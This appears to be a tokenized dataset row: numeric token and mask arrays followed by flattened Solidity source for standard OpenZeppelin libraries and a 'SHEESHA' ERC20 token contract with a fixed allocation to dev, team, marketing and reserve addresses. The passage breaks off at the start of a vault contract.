16033,
628,
1901,
264,
319,
2483,
11634,
4543,
16033,
434,
326,
1967,
2492,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
5991,
2766,
288,
203,
203,
565,
871,
4019,
538,
305,
12,
2867,
8808,
628,
16,
2254,
5034,
460,
1769,
203,
565,
871,
8687,
12,
203,
3639,
1758,
8808,
628,
16,
203,
3639,
2254,
5034,
460,
16,
203,
3639,
1758,
8808,
358,
16,
203,
3639,
2254,
5034,
16189,
3039,
16,
203,
3639,
1731,
501,
16,
203,
3639,
1426,
2216,
16,
203,
3639,
1731,
563,
203,
565,
11272,
203,
565,
871,
17640,
12,
2867,
8808,
628,
16,
1426,
5731,
1769,
203,
203,
565,
1758,
8526,
1071,
25937,
31,
203,
565,
2254,
5034,
1071,
5573,
31,
203,
565,
2254,
5034,
1071,
2687,
548,
31,
203,
565,
2254,
5034,
1071,
7448,
31,
203,
203,
565,
1426,
2713,
389,
739,
31,
203,
565,
1426,
2713,
389,
15132,
31,
203,
203,
565,
533,
5381,
11659,
273,
1548,
92,
3657,
41,
18664,
379,
16724,
2350,
5581,
82,
1578,
14432,
203,
203,
565,
2874,
12,
2867,
516,
1426,
13,
2713,
389,
291,
5541,
31,
203,
565,
2874,
12,
11890,
5034,
516,
1426,
13,
2713,
389,
3668,
13611,
31,
203,
203,
565,
3885,
12,
203,
3639,
1758,
8526,
3778,
389,
995,
414,
16,
203,
3639,
2254,
5034,
389,
8699,
16,
203,
3639,
2254,
5034,
389,
5639,
548,
203,
565,
262,
203,
565,
1071,
203,
565,
288,
203,
3639,
2583,
24899,
8699,
405,
374,
16,
296,
7614,
486,
923,
8284,
203,
3639,
2583,
24899,
995,
414,
18,
2469,
1545,
389,
8699,
16,
296,
5387,
10082,
6138,
8284,
203,
203,
3639,
5573,
273,
389,
8699,
31,
203,
3639,
25937,
273,
389,
995,
414,
31,
2
]
|
// File: @openzeppelin\contracts\token\ERC20\IERC20.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: node_modules\@openzeppelin\contracts\math\SafeMath.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: node_modules\@openzeppelin\contracts\utils\Address.sol
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin\contracts\token\ERC20\SafeERC20.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: @openzeppelin\contracts\utils\ReentrancyGuard.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// File: node_modules\@openzeppelin\contracts\GSN\Context.sol
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin\contracts\access\Ownable.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: node_modules\@openzeppelin\contracts\token\ERC20\ERC20.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: @openzeppelin\contracts\token\ERC20\ERC20Burnable.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
abstract contract ERC20Burnable is Context, ERC20 {
using SafeMath for uint256;
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
}
// File: contracts\SHEESHA.sol
pragma solidity 0.7.6;
contract SHEESHA is ERC20Burnable, Ownable {
using SafeMath for uint256;
//100,000 tokens
uint256 public constant initialSupply = 100000e18;
address public devAddress;
address public teamAddress;
address public marketingAddress;
address public reserveAddress;
bool public vaultTransferDone;
bool public vaultLPTransferDone;
// 15% team (4% monthly unlock over 25 months)
// 10% dev
// 10% marketing
// 15% liquidity provision
// 10% SHEESHA staking rewards
// 20% LP rewards
// 20% Reserve
constructor(address _devAddress, address _marketingAddress, address _teamAddress, address _reserveAddress) ERC20("Sheesha Finance", "SHEESHA") {
devAddress = _devAddress;
marketingAddress = _marketingAddress;
teamAddress = _teamAddress;
reserveAddress = _reserveAddress;
_mint(address(this), initialSupply);
_transfer(address(this), devAddress, initialSupply.mul(10).div(100));
_transfer(address(this), teamAddress, initialSupply.mul(15).div(100));
_transfer(address(this), marketingAddress, initialSupply.mul(10).div(100));
_transfer(address(this), reserveAddress, initialSupply.mul(20).div(100));
}
//one time only
function transferVaultRewards(address _vaultAddress) public onlyOwner {
require(!vaultTransferDone, "Already transferred");
_transfer(address(this), _vaultAddress, initialSupply.mul(10).div(100));
vaultTransferDone = true;
}
//one time only
function transferVaultLPRewards(address _vaultLPAddress) public onlyOwner {
require(!vaultLPTransferDone, "Already transferred");
_transfer(address(this), _vaultLPAddress, initialSupply.mul(20).div(100));
vaultLPTransferDone = true;
}
}
// File: contracts\SHEESHAVaultLP.sol
pragma solidity 0.7.6;
contract SHEESHAVaultLP is Ownable, ReentrancyGuard {
using SafeMath for uint256;
